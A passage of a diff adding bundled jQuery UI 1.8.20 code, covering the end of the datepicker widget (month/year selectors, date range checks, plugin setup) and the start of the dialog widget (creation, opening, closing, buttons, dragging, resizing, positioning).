+ (unselectable ? '<span class="ui-state-default">' + printDate.getDate() + '</span>' : '<a class="ui-state-default' +
8548
+ (printDate.getTime() == today.getTime() ? ' ui-state-highlight' : '') +
8549
+ (printDate.getTime() == currentDate.getTime() ? ' ui-state-active' : '') + // highlight selected day
8550
+ (otherMonth ? ' ui-priority-secondary' : '') + // distinguish dates from other months
8551
+ '" href="#">' + printDate.getDate() + '</a>')) + '</td>'; // display selectable date
8552
+ printDate.setDate(printDate.getDate() + 1);
8553
+ printDate = this._daylightSavingAdjust(printDate);
8554
+ }
8555
+ calender += tbody + '</tr>';
8556
+ }
8557
+ drawMonth++;
8558
+ if (drawMonth > 11) {
8559
+ drawMonth = 0;
8560
+ drawYear++;
8561
+ }
8562
+ calender += '</tbody></table>' + (isMultiMonth ? '</div>' +
8563
+ ((numMonths[0] > 0 && col == numMonths[1]-1) ? '<div class="ui-datepicker-row-break"></div>' : '') : '');
8564
+ group += calender;
8565
+ }
8566
+ html += group;
8567
+ }
8568
+ html += buttonPanel + ($.browser.msie && parseInt($.browser.version,10) < 7 && !inst.inline ?
8569
+ '<iframe src="javascript:false;" class="ui-datepicker-cover" frameborder="0"></iframe>' : '');
8570
+ inst._keyEvent = false;
8571
+ return html;
8572
+ },
8573
+
8574
+ /* Generate the month and year header. */
8575
+ _generateMonthYearHeader: function(inst, drawMonth, drawYear, minDate, maxDate,
8576
+ secondary, monthNames, monthNamesShort) {
8577
+ var changeMonth = this._get(inst, 'changeMonth');
8578
+ var changeYear = this._get(inst, 'changeYear');
8579
+ var showMonthAfterYear = this._get(inst, 'showMonthAfterYear');
8580
+ var html = '<div class="ui-datepicker-title">';
8581
+ var monthHtml = '';
8582
+ // month selection
8583
+ if (secondary || !changeMonth)
8584
+ monthHtml += '<span class="ui-datepicker-month">' + monthNames[drawMonth] + '</span>';
8585
+ else {
8586
+ var inMinYear = (minDate && minDate.getFullYear() == drawYear);
8587
+ var inMaxYear = (maxDate && maxDate.getFullYear() == drawYear);
8588
+ monthHtml += '<select class="ui-datepicker-month" ' +
8589
+ 'onchange="DP_jQuery_' + dpuuid + '.datepicker._selectMonthYear(\'#' + inst.id + '\', this, \'M\');" ' +
8590
+ '>';
8591
+ for (var month = 0; month < 12; month++) {
8592
+ if ((!inMinYear || month >= minDate.getMonth()) &&
8593
+ (!inMaxYear || month <= maxDate.getMonth()))
8594
+ monthHtml += '<option value="' + month + '"' +
8595
+ (month == drawMonth ? ' selected="selected"' : '') +
8596
+ '>' + monthNamesShort[month] + '</option>';
8597
+ }
8598
+ monthHtml += '</select>';
8599
+ }
8600
+ if (!showMonthAfterYear)
8601
+ html += monthHtml + (secondary || !(changeMonth && changeYear) ? '&#xa0;' : '');
8602
+ // year selection
8603
+ if ( !inst.yearshtml ) {
8604
+ inst.yearshtml = '';
8605
+ if (secondary || !changeYear)
8606
+ html += '<span class="ui-datepicker-year">' + drawYear + '</span>';
8607
+ else {
8608
+ // determine range of years to display
8609
+ var years = this._get(inst, 'yearRange').split(':');
8610
+ var thisYear = new Date().getFullYear();
8611
+ var determineYear = function(value) {
8612
+ var year = (value.match(/c[+-].*/) ? drawYear + parseInt(value.substring(1), 10) :
8613
+ (value.match(/[+-].*/) ? thisYear + parseInt(value, 10) :
8614
+ parseInt(value, 10)));
8615
+ return (isNaN(year) ? thisYear : year);
8616
+ };
8617
+ var year = determineYear(years[0]);
8618
+ var endYear = Math.max(year, determineYear(years[1] || ''));
8619
+ year = (minDate ? Math.max(year, minDate.getFullYear()) : year);
8620
+ endYear = (maxDate ? Math.min(endYear, maxDate.getFullYear()) : endYear);
8621
+ inst.yearshtml += '<select class="ui-datepicker-year" ' +
8622
+ 'onchange="DP_jQuery_' + dpuuid + '.datepicker._selectMonthYear(\'#' + inst.id + '\', this, \'Y\');" ' +
8623
+ '>';
8624
+ for (; year <= endYear; year++) {
8625
+ inst.yearshtml += '<option value="' + year + '"' +
8626
+ (year == drawYear ? ' selected="selected"' : '') +
8627
+ '>' + year + '</option>';
8628
+ }
8629
+ inst.yearshtml += '</select>';
8630
+
8631
+ html += inst.yearshtml;
8632
+ inst.yearshtml = null;
8633
+ }
8634
+ }
8635
+ html += this._get(inst, 'yearSuffix');
8636
+ if (showMonthAfterYear)
8637
+ html += (secondary || !(changeMonth && changeYear) ? '&#xa0;' : '') + monthHtml;
8638
+ html += '</div>'; // Close datepicker_header
8639
+ return html;
8640
+ },
8641
+
8642
+ /* Adjust one of the date sub-fields. */
8643
+ _adjustInstDate: function(inst, offset, period) {
8644
+ var year = inst.drawYear + (period == 'Y' ? offset : 0);
8645
+ var month = inst.drawMonth + (period == 'M' ? offset : 0);
8646
+ var day = Math.min(inst.selectedDay, this._getDaysInMonth(year, month)) +
8647
+ (period == 'D' ? offset : 0);
8648
+ var date = this._restrictMinMax(inst,
8649
+ this._daylightSavingAdjust(new Date(year, month, day)));
8650
+ inst.selectedDay = date.getDate();
8651
+ inst.drawMonth = inst.selectedMonth = date.getMonth();
8652
+ inst.drawYear = inst.selectedYear = date.getFullYear();
8653
+ if (period == 'M' || period == 'Y')
8654
+ this._notifyChange(inst);
8655
+ },
8656
+
8657
+ /* Ensure a date is within any min/max bounds. */
8658
+ _restrictMinMax: function(inst, date) {
8659
+ var minDate = this._getMinMaxDate(inst, 'min');
8660
+ var maxDate = this._getMinMaxDate(inst, 'max');
8661
+ var newDate = (minDate && date < minDate ? minDate : date);
8662
+ newDate = (maxDate && newDate > maxDate ? maxDate : newDate);
8663
+ return newDate;
8664
+ },
8665
+
8666
+ /* Notify change of month/year. */
8667
+ _notifyChange: function(inst) {
8668
+ var onChange = this._get(inst, 'onChangeMonthYear');
8669
+ if (onChange)
8670
+ onChange.apply((inst.input ? inst.input[0] : null),
8671
+ [inst.selectedYear, inst.selectedMonth + 1, inst]);
8672
+ },
8673
+
8674
+ /* Determine the number of months to show. */
8675
+ _getNumberOfMonths: function(inst) {
8676
+ var numMonths = this._get(inst, 'numberOfMonths');
8677
+ return (numMonths == null ? [1, 1] : (typeof numMonths == 'number' ? [1, numMonths] : numMonths));
8678
+ },
8679
+
8680
+ /* Determine the current maximum date - ensure no time components are set. */
8681
+ _getMinMaxDate: function(inst, minMax) {
8682
+ return this._determineDate(inst, this._get(inst, minMax + 'Date'), null);
8683
+ },
8684
+
8685
+ /* Find the number of days in a given month. */
8686
+ _getDaysInMonth: function(year, month) {
8687
+ return 32 - this._daylightSavingAdjust(new Date(year, month, 32)).getDate();
8688
+ },
8689
+
8690
+ /* Find the day of the week of the first of a month. */
8691
+ _getFirstDayOfMonth: function(year, month) {
8692
+ return new Date(year, month, 1).getDay();
8693
+ },
8694
+
8695
+ /* Determines if we should allow a "next/prev" month display change. */
8696
+ _canAdjustMonth: function(inst, offset, curYear, curMonth) {
8697
+ var numMonths = this._getNumberOfMonths(inst);
8698
+ var date = this._daylightSavingAdjust(new Date(curYear,
8699
+ curMonth + (offset < 0 ? offset : numMonths[0] * numMonths[1]), 1));
8700
+ if (offset < 0)
8701
+ date.setDate(this._getDaysInMonth(date.getFullYear(), date.getMonth()));
8702
+ return this._isInRange(inst, date);
8703
+ },
8704
+
8705
+ /* Is the given date in the accepted range? */
8706
+ _isInRange: function(inst, date) {
8707
+ var minDate = this._getMinMaxDate(inst, 'min');
8708
+ var maxDate = this._getMinMaxDate(inst, 'max');
8709
+ return ((!minDate || date.getTime() >= minDate.getTime()) &&
8710
+ (!maxDate || date.getTime() <= maxDate.getTime()));
8711
+ },
8712
+
8713
+ /* Provide the configuration settings for formatting/parsing. */
8714
+ _getFormatConfig: function(inst) {
8715
+ var shortYearCutoff = this._get(inst, 'shortYearCutoff');
8716
+ shortYearCutoff = (typeof shortYearCutoff != 'string' ? shortYearCutoff :
8717
+ new Date().getFullYear() % 100 + parseInt(shortYearCutoff, 10));
8718
+ return {shortYearCutoff: shortYearCutoff,
8719
+ dayNamesShort: this._get(inst, 'dayNamesShort'), dayNames: this._get(inst, 'dayNames'),
8720
+ monthNamesShort: this._get(inst, 'monthNamesShort'), monthNames: this._get(inst, 'monthNames')};
8721
+ },
8722
+
8723
+ /* Format the given date for display. */
8724
+ _formatDate: function(inst, day, month, year) {
8725
+ if (!day) {
8726
+ inst.currentDay = inst.selectedDay;
8727
+ inst.currentMonth = inst.selectedMonth;
8728
+ inst.currentYear = inst.selectedYear;
8729
+ }
8730
+ var date = (day ? (typeof day == 'object' ? day :
8731
+ this._daylightSavingAdjust(new Date(year, month, day))) :
8732
+ this._daylightSavingAdjust(new Date(inst.currentYear, inst.currentMonth, inst.currentDay)));
8733
+ return this.formatDate(this._get(inst, 'dateFormat'), date, this._getFormatConfig(inst));
8734
+ }
8735
+ });
8736
+
8737
+ /*
8738
+ * Bind hover events for datepicker elements.
8739
+ * Done via delegate so the binding only occurs once in the lifetime of the parent div.
8740
+ * Global instActive, set by _updateDatepicker allows the handlers to find their way back to the active picker.
8741
+ */
8742
+ function bindHover(dpDiv) {
8743
+ var selector = 'button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a';
8744
+ return dpDiv.bind('mouseout', function(event) {
8745
+ var elem = $( event.target ).closest( selector );
8746
+ if ( !elem.length ) {
8747
+ return;
8748
+ }
8749
+ elem.removeClass( "ui-state-hover ui-datepicker-prev-hover ui-datepicker-next-hover" );
8750
+ })
8751
+ .bind('mouseover', function(event) {
8752
+ var elem = $( event.target ).closest( selector );
8753
+ if ($.datepicker._isDisabledDatepicker( instActive.inline ? dpDiv.parent()[0] : instActive.input[0]) ||
8754
+ !elem.length ) {
8755
+ return;
8756
+ }
8757
+ elem.parents('.ui-datepicker-calendar').find('a').removeClass('ui-state-hover');
8758
+ elem.addClass('ui-state-hover');
8759
+ if (elem.hasClass('ui-datepicker-prev')) elem.addClass('ui-datepicker-prev-hover');
8760
+ if (elem.hasClass('ui-datepicker-next')) elem.addClass('ui-datepicker-next-hover');
8761
+ });
8762
+ }
8763
+
8764
+ /* jQuery extend now ignores nulls! */
8765
+ function extendRemove(target, props) {
8766
+ $.extend(target, props);
8767
+ for (var name in props)
8768
+ if (props[name] == null || props[name] == undefined)
8769
+ target[name] = props[name];
8770
+ return target;
8771
+ };
8772
+
8773
+ /* Determine whether an object is an array. */
8774
+ function isArray(a) {
8775
+ return (a && (($.browser.safari && typeof a == 'object' && a.length) ||
8776
+ (a.constructor && a.constructor.toString().match(/\Array\(\)/))));
8777
+ };
8778
+
8779
+ /* Invoke the datepicker functionality.
8780
+ @param options string - a command, optionally followed by additional parameters or
8781
+ Object - settings for attaching new datepicker functionality
8782
+ @return jQuery object */
8783
+ $.fn.datepicker = function(options){
8784
+
8785
+ /* Verify an empty collection wasn't passed - Fixes #6976 */
8786
+ if ( !this.length ) {
8787
+ return this;
8788
+ }
8789
+
8790
+ /* Initialise the date picker. */
8791
+ if (!$.datepicker.initialized) {
8792
+ $(document).mousedown($.datepicker._checkExternalClick).
8793
+ find('body').append($.datepicker.dpDiv);
8794
+ $.datepicker.initialized = true;
8795
+ }
8796
+
8797
+ var otherArgs = Array.prototype.slice.call(arguments, 1);
8798
+ if (typeof options == 'string' && (options == 'isDisabled' || options == 'getDate' || options == 'widget'))
8799
+ return $.datepicker['_' + options + 'Datepicker'].
8800
+ apply($.datepicker, [this[0]].concat(otherArgs));
8801
+ if (options == 'option' && arguments.length == 2 && typeof arguments[1] == 'string')
8802
+ return $.datepicker['_' + options + 'Datepicker'].
8803
+ apply($.datepicker, [this[0]].concat(otherArgs));
8804
+ return this.each(function() {
8805
+ typeof options == 'string' ?
8806
+ $.datepicker['_' + options + 'Datepicker'].
8807
+ apply($.datepicker, [this].concat(otherArgs)) :
8808
+ $.datepicker._attachDatepicker(this, options);
8809
+ });
8810
+ };
8811
+
8812
+ $.datepicker = new Datepicker(); // singleton instance
8813
+ $.datepicker.initialized = false;
8814
+ $.datepicker.uuid = new Date().getTime();
8815
+ $.datepicker.version = "1.8.20";
8816
+
8817
+ // Workaround for #4055
8818
+ // Add another global to avoid noConflict issues with inline event handlers
8819
+ window['DP_jQuery_' + dpuuid] = $;
8820
+
8821
+ })(asljQuery);
8822
+
8823
+ (function( $, undefined ) {
8824
+
8825
+ var uiDialogClasses =
8826
+ 'ui-dialog ' +
8827
+ 'ui-widget ' +
8828
+ 'ui-widget-content ' +
8829
+ 'ui-corner-all ',
8830
+ sizeRelatedOptions = {
8831
+ buttons: true,
8832
+ height: true,
8833
+ maxHeight: true,
8834
+ maxWidth: true,
8835
+ minHeight: true,
8836
+ minWidth: true,
8837
+ width: true
8838
+ },
8839
+ resizableRelatedOptions = {
8840
+ maxHeight: true,
8841
+ maxWidth: true,
8842
+ minHeight: true,
8843
+ minWidth: true
8844
+ },
8845
+ // support for jQuery 1.3.2 - handle common attrFn methods for dialog
8846
+ attrFn = $.attrFn || {
8847
+ val: true,
8848
+ css: true,
8849
+ html: true,
8850
+ text: true,
8851
+ data: true,
8852
+ width: true,
8853
+ height: true,
8854
+ offset: true,
8855
+ click: true
8856
+ };
8857
+
8858
+ $.widget("ui.dialog", {
8859
+ options: {
8860
+ autoOpen: true,
8861
+ buttons: {},
8862
+ closeOnEscape: true,
8863
+ closeText: 'close',
8864
+ dialogClass: '',
8865
+ draggable: true,
8866
+ hide: null,
8867
+ height: 'auto',
8868
+ maxHeight: false,
8869
+ maxWidth: false,
8870
+ minHeight: 150,
8871
+ minWidth: 150,
8872
+ modal: false,
8873
+ position: {
8874
+ my: 'center',
8875
+ at: 'center',
8876
+ collision: 'fit',
8877
+ // ensure that the titlebar is never outside the document
8878
+ using: function(pos) {
8879
+ var topOffset = $(this).css(pos).offset().top;
8880
+ if (topOffset < 0) {
8881
+ $(this).css('top', pos.top - topOffset);
8882
+ }
8883
+ }
8884
+ },
8885
+ resizable: true,
8886
+ show: null,
8887
+ stack: true,
8888
+ title: '',
8889
+ width: 300,
8890
+ zIndex: 1000
8891
+ },
8892
+
8893
+ _create: function() {
8894
+ this.originalTitle = this.element.attr('title');
8895
+ // #5742 - .attr() might return a DOMElement
8896
+ if ( typeof this.originalTitle !== "string" ) {
8897
+ this.originalTitle = "";
8898
+ }
8899
+
8900
+ this.options.title = this.options.title || this.originalTitle;
8901
+ var self = this,
8902
+ options = self.options,
8903
+
8904
+ title = options.title || '&#160;',
8905
+ titleId = $.ui.dialog.getTitleId(self.element),
8906
+
8907
+ uiDialog = (self.uiDialog = $('<div></div>'))
8908
+ .appendTo(document.body)
8909
+ .hide()
8910
+ .addClass(uiDialogClasses + options.dialogClass)
8911
+ .css({
8912
+ zIndex: options.zIndex
8913
+ })
8914
+ // setting tabIndex makes the div focusable
8915
+ // setting outline to 0 prevents a border on focus in Mozilla
8916
+ .attr('tabIndex', -1).css('outline', 0).keydown(function(event) {
8917
+ if (options.closeOnEscape && !event.isDefaultPrevented() && event.keyCode &&
8918
+ event.keyCode === $.ui.keyCode.ESCAPE) {
8919
+
8920
+ self.close(event);
8921
+ event.preventDefault();
8922
+ }
8923
+ })
8924
+ .attr({
8925
+ role: 'dialog',
8926
+ 'aria-labelledby': titleId
8927
+ })
8928
+ .mousedown(function(event) {
8929
+ self.moveToTop(false, event);
8930
+ }),
8931
+
8932
+ uiDialogContent = self.element
8933
+ .show()
8934
+ .removeAttr('title')
8935
+ .addClass(
8936
+ 'ui-dialog-content ' +
8937
+ 'ui-widget-content')
8938
+ .appendTo(uiDialog),
8939
+
8940
+ uiDialogTitlebar = (self.uiDialogTitlebar = $('<div></div>'))
8941
+ .addClass(
8942
+ 'ui-dialog-titlebar ' +
8943
+ 'ui-widget-header ' +
8944
+ 'ui-corner-all ' +
8945
+ 'ui-helper-clearfix'
8946
+ )
8947
+ .prependTo(uiDialog),
8948
+
8949
+ uiDialogTitlebarClose = $('<a href="#"></a>')
8950
+ .addClass(
8951
+ 'ui-dialog-titlebar-close ' +
8952
+ 'ui-corner-all'
8953
+ )
8954
+ .attr('role', 'button')
8955
+ .hover(
8956
+ function() {
8957
+ uiDialogTitlebarClose.addClass('ui-state-hover');
8958
+ },
8959
+ function() {
8960
+ uiDialogTitlebarClose.removeClass('ui-state-hover');
8961
+ }
8962
+ )
8963
+ .focus(function() {
8964
+ uiDialogTitlebarClose.addClass('ui-state-focus');
8965
+ })
8966
+ .blur(function() {
8967
+ uiDialogTitlebarClose.removeClass('ui-state-focus');
8968
+ })
8969
+ .click(function(event) {
8970
+ self.close(event);
8971
+ return false;
8972
+ })
8973
+ .appendTo(uiDialogTitlebar),
8974
+
8975
+ uiDialogTitlebarCloseText = (self.uiDialogTitlebarCloseText = $('<span></span>'))
8976
+ .addClass(
8977
+ 'ui-icon ' +
8978
+ 'ui-icon-closethick'
8979
+ )
8980
+ .text(options.closeText)
8981
+ .appendTo(uiDialogTitlebarClose),
8982
+
8983
+ uiDialogTitle = $('<span></span>')
8984
+ .addClass('ui-dialog-title')
8985
+ .attr('id', titleId)
8986
+ .html(title)
8987
+ .prependTo(uiDialogTitlebar);
8988
+
8989
+ //handling of deprecated beforeclose (vs beforeClose) option
8990
+ //Ticket #4669 http://dev.jqueryui.com/ticket/4669
8991
+ //TODO: remove in 1.9pre
8992
+ if ($.isFunction(options.beforeclose) && !$.isFunction(options.beforeClose)) {
8993
+ options.beforeClose = options.beforeclose;
8994
+ }
8995
+
8996
+ uiDialogTitlebar.find("*").add(uiDialogTitlebar).disableSelection();
8997
+
8998
+ if (options.draggable && $.fn.draggable) {
8999
+ self._makeDraggable();
9000
+ }
9001
+ if (options.resizable && $.fn.resizable) {
9002
+ self._makeResizable();
9003
+ }
9004
+
9005
+ self._createButtons(options.buttons);
9006
+ self._isOpen = false;
9007
+
9008
+ if ($.fn.bgiframe) {
9009
+ uiDialog.bgiframe();
9010
+ }
9011
+ },
9012
+
9013
+ _init: function() {
9014
+ if ( this.options.autoOpen ) {
9015
+ this.open();
9016
+ }
9017
+ },
9018
+
9019
+ destroy: function() {
9020
+ var self = this;
9021
+
9022
+ if (self.overlay) {
9023
+ self.overlay.destroy();
9024
+ }
9025
+ self.uiDialog.hide();
9026
+ self.element
9027
+ .unbind('.dialog')
9028
+ .removeData('dialog')
9029
+ .removeClass('ui-dialog-content ui-widget-content')
9030
+ .hide().appendTo('body');
9031
+ self.uiDialog.remove();
9032
+
9033
+ if (self.originalTitle) {
9034
+ self.element.attr('title', self.originalTitle);
9035
+ }
9036
+
9037
+ return self;
9038
+ },
9039
+
9040
+ widget: function() {
9041
+ return this.uiDialog;
9042
+ },
9043
+
9044
+ close: function(event) {
9045
+ var self = this,
9046
+ maxZ, thisZ;
9047
+
9048
+ if (false === self._trigger('beforeClose', event)) {
9049
+ return;
9050
+ }
9051
+
9052
+ if (self.overlay) {
9053
+ self.overlay.destroy();
9054
+ }
9055
+ self.uiDialog.unbind('keypress.ui-dialog');
9056
+
9057
+ self._isOpen = false;
9058
+
9059
+ if (self.options.hide) {
9060
+ self.uiDialog.hide(self.options.hide, function() {
9061
+ self._trigger('close', event);
9062
+ });
9063
+ } else {
9064
+ self.uiDialog.hide();
9065
+ self._trigger('close', event);
9066
+ }
9067
+
9068
+ $.ui.dialog.overlay.resize();
9069
+
9070
+ // adjust the maxZ to allow other modal dialogs to continue to work (see #4309)
9071
+ if (self.options.modal) {
9072
+ maxZ = 0;
9073
+ $('.ui-dialog').each(function() {
9074
+ if (this !== self.uiDialog[0]) {
9075
+ thisZ = $(this).css('z-index');
9076
+ if(!isNaN(thisZ)) {
9077
+ maxZ = Math.max(maxZ, thisZ);
9078
+ }
9079
+ }
9080
+ });
9081
+ $.ui.dialog.maxZ = maxZ;
9082
+ }
9083
+
9084
+ return self;
9085
+ },
9086
+
9087
+ isOpen: function() {
9088
+ return this._isOpen;
9089
+ },
9090
+
9091
+ // the force parameter allows us to move modal dialogs to their correct
9092
+ // position on open
9093
+ moveToTop: function(force, event) {
9094
+ var self = this,
9095
+ options = self.options,
9096
+ saveScroll;
9097
+
9098
+ if ((options.modal && !force) ||
9099
+ (!options.stack && !options.modal)) {
9100
+ return self._trigger('focus', event);
9101
+ }
9102
+
9103
+ if (options.zIndex > $.ui.dialog.maxZ) {
9104
+ $.ui.dialog.maxZ = options.zIndex;
9105
+ }
9106
+ if (self.overlay) {
9107
+ $.ui.dialog.maxZ += 1;
9108
+ self.overlay.$el.css('z-index', $.ui.dialog.overlay.maxZ = $.ui.dialog.maxZ);
9109
+ }
9110
+
9111
+ //Save and then restore scroll since Opera 9.5+ resets when parent z-Index is changed.
9112
+ // http://ui.jquery.com/bugs/ticket/3193
9113
+ saveScroll = { scrollTop: self.element.scrollTop(), scrollLeft: self.element.scrollLeft() };
9114
+ $.ui.dialog.maxZ += 1;
9115
+ self.uiDialog.css('z-index', $.ui.dialog.maxZ);
9116
+ self.element.attr(saveScroll);
9117
+ self._trigger('focus', event);
9118
+
9119
+ return self;
9120
+ },
9121
+
9122
+ open: function() {
9123
+ if (this._isOpen) { return; }
9124
+
9125
+ var self = this,
9126
+ options = self.options,
9127
+ uiDialog = self.uiDialog;
9128
+
9129
+ self.overlay = options.modal ? new $.ui.dialog.overlay(self) : null;
9130
+ self._size();
9131
+ self._position(options.position);
9132
+ uiDialog.show(options.show);
9133
+ self.moveToTop(true);
9134
+
9135
+ // prevent tabbing out of modal dialogs
9136
+ if ( options.modal ) {
9137
+ uiDialog.bind( "keydown.ui-dialog", function( event ) {
9138
+ if ( event.keyCode !== $.ui.keyCode.TAB ) {
9139
+ return;
9140
+ }
9141
+
9142
+ var tabbables = $(':tabbable', this),
9143
+ first = tabbables.filter(':first'),
9144
+ last = tabbables.filter(':last');
9145
+
9146
+ if (event.target === last[0] && !event.shiftKey) {
9147
+ first.focus(1);
9148
+ return false;
9149
+ } else if (event.target === first[0] && event.shiftKey) {
9150
+ last.focus(1);
9151
+ return false;
9152
+ }
9153
+ });
9154
+ }
9155
+
9156
+ // set focus to the first tabbable element in the content area or the first button
9157
+ // if there are no tabbable elements, set focus on the dialog itself
9158
+ $(self.element.find(':tabbable').get().concat(
9159
+ uiDialog.find('.ui-dialog-buttonpane :tabbable').get().concat(
9160
+ uiDialog.get()))).eq(0).focus();
9161
+
9162
+ self._isOpen = true;
9163
+ self._trigger('open');
9164
+
9165
+ return self;
9166
+ },
9167
+
9168
+ _createButtons: function(buttons) {
9169
+ var self = this,
9170
+ hasButtons = false,
9171
+ uiDialogButtonPane = $('<div></div>')
9172
+ .addClass(
9173
+ 'ui-dialog-buttonpane ' +
9174
+ 'ui-widget-content ' +
9175
+ 'ui-helper-clearfix'
9176
+ ),
9177
+ uiButtonSet = $( "<div></div>" )
9178
+ .addClass( "ui-dialog-buttonset" )
9179
+ .appendTo( uiDialogButtonPane );
9180
+
9181
+ // if we already have a button pane, remove it
9182
+ self.uiDialog.find('.ui-dialog-buttonpane').remove();
9183
+
9184
+ if (typeof buttons === 'object' && buttons !== null) {
9185
+ $.each(buttons, function() {
9186
+ return !(hasButtons = true);
9187
+ });
9188
+ }
9189
+ if (hasButtons) {
9190
+ $.each(buttons, function(name, props) {
9191
+ props = $.isFunction( props ) ?
9192
+ { click: props, text: name } :
9193
+ props;
9194
+ var button = $('<button type="button"></button>')
9195
+ .click(function() {
9196
+ props.click.apply(self.element[0], arguments);
9197
+ })
9198
+ .appendTo(uiButtonSet);
9199
+ // can't use .attr( props, true ) with jQuery 1.3.2.
9200
+ $.each( props, function( key, value ) {
9201
+ if ( key === "click" ) {
9202
+ return;
9203
+ }
9204
+ if ( key in attrFn ) {
9205
+ button[ key ]( value );
9206
+ } else {
9207
+ button.attr( key, value );
9208
+ }
9209
+ });
9210
+ if ($.fn.button) {
9211
+ button.button();
9212
+ }
9213
+ });
9214
+ uiDialogButtonPane.appendTo(self.uiDialog);
9215
+ }
9216
+ },
9217
+
9218
+ _makeDraggable: function() {
9219
+ var self = this,
9220
+ options = self.options,
9221
+ doc = $(document),
9222
+ heightBeforeDrag;
9223
+
9224
+ function filteredUi(ui) {
9225
+ return {
9226
+ position: ui.position,
9227
+ offset: ui.offset
9228
+ };
9229
+ }
9230
+
9231
+ self.uiDialog.draggable({
9232
+ cancel: '.ui-dialog-content, .ui-dialog-titlebar-close',
9233
+ handle: '.ui-dialog-titlebar',
9234
+ containment: 'document',
9235
+ start: function(event, ui) {
9236
+ heightBeforeDrag = options.height === "auto" ? "auto" : $(this).height();
9237
+ $(this).height($(this).height()).addClass("ui-dialog-dragging");
9238
+ self._trigger('dragStart', event, filteredUi(ui));
9239
+ },
9240
+ drag: function(event, ui) {
9241
+ self._trigger('drag', event, filteredUi(ui));
9242
+ },
9243
+ stop: function(event, ui) {
9244
+ options.position = [ui.position.left - doc.scrollLeft(),
9245
+ ui.position.top - doc.scrollTop()];
9246
+ $(this).removeClass("ui-dialog-dragging").height(heightBeforeDrag);
9247
+ self._trigger('dragStop', event, filteredUi(ui));
9248
+ $.ui.dialog.overlay.resize();
9249
+ }
9250
+ });
9251
+ },
9252
+
9253
+ _makeResizable: function(handles) {
9254
+ handles = (handles === undefined ? this.options.resizable : handles);
9255
+ var self = this,
9256
+ options = self.options,
9257
+ // .ui-resizable has position: relative defined in the stylesheet
9258
+ // but dialogs have to use absolute or fixed positioning
9259
+ position = self.uiDialog.css('position'),
9260
+ resizeHandles = (typeof handles === 'string' ?
9261
+ handles :
9262
+ 'n,e,s,w,se,sw,ne,nw'
9263
+ );
9264
+
9265
+ function filteredUi(ui) {
9266
+ return {
9267
+ originalPosition: ui.originalPosition,
9268
+ originalSize: ui.originalSize,
9269
+ position: ui.position,
9270
+ size: ui.size
9271
+ };
9272
+ }
9273
+
9274
+ self.uiDialog.resizable({
9275
+ cancel: '.ui-dialog-content',
9276
+ containment: 'document',
9277
+ alsoResize: self.element,
9278
+ maxWidth: options.maxWidth,
9279
+ maxHeight: options.maxHeight,
9280
+ minWidth: options.minWidth,
9281
+ minHeight: self._minHeight(),
9282
+ handles: resizeHandles,
9283
+ start: function(event, ui) {
9284
+ $(this).addClass("ui-dialog-resizing");
9285
+ self._trigger('resizeStart', event, filteredUi(ui));
9286
+ },
9287
+ resize: function(event, ui) {
9288
+ self._trigger('resize', event, filteredUi(ui));
9289
+ },
9290
+ stop: function(event, ui) {
9291
+ $(this).removeClass("ui-dialog-resizing");
9292
+ options.height = $(this).height();
9293
+ options.width = $(this).width();
9294
+ self._trigger('resizeStop', event, filteredUi(ui));
9295
+ $.ui.dialog.overlay.resize();
9296
+ }
9297
+ })
9298
+ .css('position', position)
9299
+ .find('.ui-resizable-se').addClass('ui-icon ui-icon-grip-diagonal-se');
9300
+ },
9301
+
9302
+ _minHeight: function() {
9303
+ var options = this.options;
9304
+
9305
+ if (options.height === 'auto') {
9306
+ return options.minHeight;
9307
+ } else {
9308
+ return Math.min(options.minHeight, options.height);
9309
+ }
9310
+ },
9311
+
9312
+ _position: function(position) {
9313
+ var myAt = [],
9314
+ offset = [0, 0],
9315
+ isVisible;
9316
+
9317
+ if (position) {
9318
+ // deep extending converts arrays to objects in jQuery <= 1.3.2 :-(
9319
+ // if (typeof position == 'string' || $.isArray(position)) {
9320
+ // myAt = $.isArray(position) ? position : position.split(' ');
9321
+
9322
+ if (typeof position === 'string' || (typeof position === 'object' && '0' in position)) {
9323
+ myAt = position.split ? position.split(' ') : [position[0], position[1]];
9324
+ if (myAt.length === 1) {
9325
+ myAt[1] = myAt[0];
9326
+ }
9327
+
9328
+ $.each(['left', 'top'], function(i, offsetPosition) {
9329
+ if (+myAt[i] === myAt[i]) {
9330
+ offset[i] = myAt[i];
9331
+ myAt[i] = offsetPosition;
9332
+ }
9333
+ });
9334
+
9335
+ position = {
9336
+ my: myAt.join(" "),
9337
+ at: myAt.join(" "),
9338
+ offset: offset.join(" ")
9339
+ };
9340
+ }
9341
+
9342
+ position = $.extend({}, $.ui.dialog.prototype.options.position, position);
9343
+ } else {
9344
+ position = $.ui.dialog.prototype.options.position;
9345
+ }
9346
+
9347
+ // need to show the dialog to get the actual offset in the position plugin
9348
+ isVisible = this.uiDialog.is(':visible');
9349
+ if (!isVisible) {
9350
+ this.uiDialog.show();
9351
+ }
9352
+ this.uiDialog
9353
+ // workaround for jQuery bug #5781 http://dev.jquery.com/ticket/5781
9354
+ .css({ top: 0, left: 0 })
9355
+ .position($.extend({ of: window }, position));
9356
+ if (!isVisible) {
9357
+ this.uiDialog.hide();
9358
+ }
9359
+ },
9360
+
9361
+ _setOptions: function( options ) {
9362
+ var self = this,
9363
+ resizableOptions = {},
9364
+ resize = false;
9365
+
9366
+ $.each( options, function( key, value ) {
9367
+ self._setOption( key, value );
9368
+
9369
+ if ( key in sizeRelatedOptions ) {
9370
+ resize = true;
9371
+ }
9372
+ if ( key in resizableRelatedOptions ) {
9373
+ resizableOptions[ key ] = value;
9374
+ }
9375
+ });
9376
+
9377
+ if ( resize ) {
9378
+ this._size();
9379
+ }
9380
+ if ( this.uiDialog.is( ":data(resizable)" ) ) {
9381
+ this.uiDialog.resizable( "option", resizableOptions );
9382
+ }
9383
+ },
9384
+
9385
+ _setOption: function(key, value){
9386
+ var self = this,
9387
+ uiDialog = self.uiDialog;
9388
+
9389
+ switch (key) {
9390
+ //handling of deprecated beforeclose (vs beforeClose) option
9391
+ //Ticket #4669 http://dev.jqueryui.com/ticket/4669
9392
+ //TODO: remove in 1.9pre
9393
+ case "beforeclose":
9394
+ key = "beforeClose";
9395
+ break;
9396
+ case "buttons":
9397
+ self._createButtons(value);
9398
+ break;
9399
+ case "closeText":
9400
+ // ensure that we always pass a string
9401
+ self.uiDialogTitlebarCloseText.text("" + value);
9402
+ break;
9403
+ case "dialogClass":
9404
+ uiDialog
9405
+ .removeClass(self.options.dialogClass)
9406
+ .addClass(uiDialogClasses + value);
9407
+ break;
9408
+ case "disabled":
9409
